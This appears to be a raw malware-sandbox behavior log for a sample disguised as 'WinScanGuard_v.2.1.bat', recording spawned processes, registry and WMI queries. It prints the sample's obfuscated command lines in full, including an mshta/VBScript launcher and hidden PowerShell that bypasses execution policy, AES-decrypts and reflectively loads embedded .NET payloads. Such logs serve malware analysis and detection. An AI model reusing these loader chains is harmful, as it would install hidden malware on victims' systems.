Source: unknown	Process created: C:\Windows\$sxr-mshta.exe C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bWTLJBKbogHiYUerhoAr4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{b60ad232-6d40-4822-9220-52a4d3050cb3}
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{603825cb-58d6-4ab4-99a0-2fdb5cd309d6}
Source: C:\Windows\$sxr-mshta.exe	Process created: C:\Windows\$sxr-cmd.exe "C:\Windows\$sxr-cmd.exe" /c %$sxr-bWTLJBKbogHiYUerhoAr4312:&#<?=%
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqW
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{d814285b-904f-4c3a-8cab-4579f96b72d9}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{f835588e-a1ef-4d6b-bc1e-b44ddb22d787}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5088).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXd
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{ee0091e4-9e0c-4ff3-b26f-57d4a238bd7c}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{f5381469-1700-4694-82dd-1722ad94b3e0}
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{f78b27af-93da-4459-95e7-4c5d26a44dc8}
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{85d85a52-fed6-47b1-b615-c3a69ff1ad14}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{8c0bd129-911b-4af2-a0bc-93995d45cd5f}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{0979c3ff-3e63-4ea9-9d2b-0e24c33cbca9}
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{59453cd9-80c7-4c7f-84ca-38ec20f032b9}
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{8b9e4941-156b-4561-b75c-88dc752d3d8b}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{da1a065e-b06d-4c17-9fd5-69413fe213f9}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{2c62f067-a6a0-49cc-8f1a-bf6b18a4e5be}
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe "WinScanGuard_v.2.1.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function oLSgt($QHQwZ){ $FhDgh=[System.Security.Cryptography.Aes]::Create(); $FhDgh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FhDgh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FhDgh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ONJSi5FjJzv4AOEMBvugvr4ituUVmgVNRnjeJyrP0WQ='); $FhDgh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CLQNYwl0vsdfD4X+5YKrxQ=='); $SpFlB=$FhDgh.CreateDecryptor(); $return_var=$SpFlB.TransformFinalBlock($QHQwZ, 0, $QHQwZ.Length); $SpFlB.Dispose(); $FhDgh.Dispose(); $return_var;}function rnHmS($QHQwZ){ $WxVgK=New-Object System.IO.MemoryStream(,$QHQwZ); $bpCBe=New-Object System.IO.MemoryStream; $coUVU=New-Object System.IO.Compression.GZipStream($WxVgK, [IO.Compression.CompressionMode]::Decompress); $coUVU.CopyTo($bpCBe); $coUVU.Dispose(); $WxVgK.Dispose(); $bpCBe.Dispose(); $bpCBe.ToArray();}function ZAtIe($QHQwZ,$cjUqy){ $oSPmD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$QHQwZ); $xWTDt=$oSPmD.EntryPoint; $xWTDt.Invoke($null, $cjUqy);}$YlWDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\Desktop\WinScanGuard_v.2.1.bat').Split([Environment]::NewLine);foreach ($XUIQg in $YlWDR) { if ($XUIQg.StartsWith('SEROXEN')) { $sOgSv=$XUIQg.Substring(7); break; }}$ZErMU=[string[]]$sOgSv.Split('\');$tzgBc=rnHmS (oLSgt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZErMU[0])));$TtDxt=rnHmS (oLSgt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZErMU[1])));ZAtIe $TtDxt (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ZAtIe $tzgBc (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{17980c38-011a-4e2a-a8da-a3b9e80db269}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{6ee5d1df-df32-414a-8053-43a03a04def5}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{b60ad232-6d40-4822-9220-52a4d3050cb3}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{603825cb-58d6-4ab4-99a0-2fdb5cd309d6}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process created: C:\Windows\$sxr-cmd.exe "C:\Windows\$sxr-cmd.exe" /c %$sxr-bWTLJBKbogHiYUerhoAr4312:&#<?=%	Jump to behavior
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqW	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{d814285b-904f-4c3a-8cab-4579f96b72d9}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{f835588e-a1ef-4d6b-bc1e-b44ddb22d787}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5088).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXd	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{ee0091e4-9e0c-4ff3-b26f-57d4a238bd7c}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{f5381469-1700-4694-82dd-1722ad94b3e0}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{f78b27af-93da-4459-95e7-4c5d26a44dc8}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{85d85a52-fed6-47b1-b615-c3a69ff1ad14}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{8c0bd129-911b-4af2-a0bc-93995d45cd5f}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{0979c3ff-3e63-4ea9-9d2b-0e24c33cbca9}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{59453cd9-80c7-4c7f-84ca-38ec20f032b9}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{8b9e4941-156b-4561-b75c-88dc752d3d8b}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{da1a065e-b06d-4c17-9fd5-69413fe213f9}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{2c62f067-a6a0-49cc-8f1a-bf6b18a4e5be}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_0000000140001014 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindCloseChangeNotification,RegOpenKeyExW,RegDeleteValueW,SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,RtlDeleteBoundaryDescriptor,HeapAlloc,GetProcessHeap,HeapFree,RtlDeleteBoundaryDescriptor,	6_2_0000000140001014
Source: C:\Windows\SysWOW64\dllhost.exe	Code function: 7_2_0040133E GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,	7_2_0040133E
Source: C:\Windows\SysWOW64\dllhost.exe	Code function: 15_2_0040133E GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,	15_2_0040133E
Source: C:\Windows\System32\dllhost.exe	Code function: 22_2_0000000140001B30 LookupPrivilegeValueW,AdjustTokenPrivileges,FindCloseChangeNotification,FindResourceA,RegCreateKeyExW,RegSetKeySecurity,RegCreateKeyExW,RegSetValueExW,RegCloseKey,CreateThread,CreateThread,SleepEx,	22_2_0000000140001B30
Source: C:\Windows\SysWOW64\dllhost.exe	Code function: 23_2_00401B33 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,	23_2_00401B33

Source: C:\Windows\$sxr-powershell.exe

WMI Queries: IWbemServices::ExecNotificationQuery - root\cimv2 : select * from Win32_ProcessStartTrace

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gnhdjmxp.ad2.ps1

Jump to behavior

Source: C:\Windows\System32\dllhost.exe

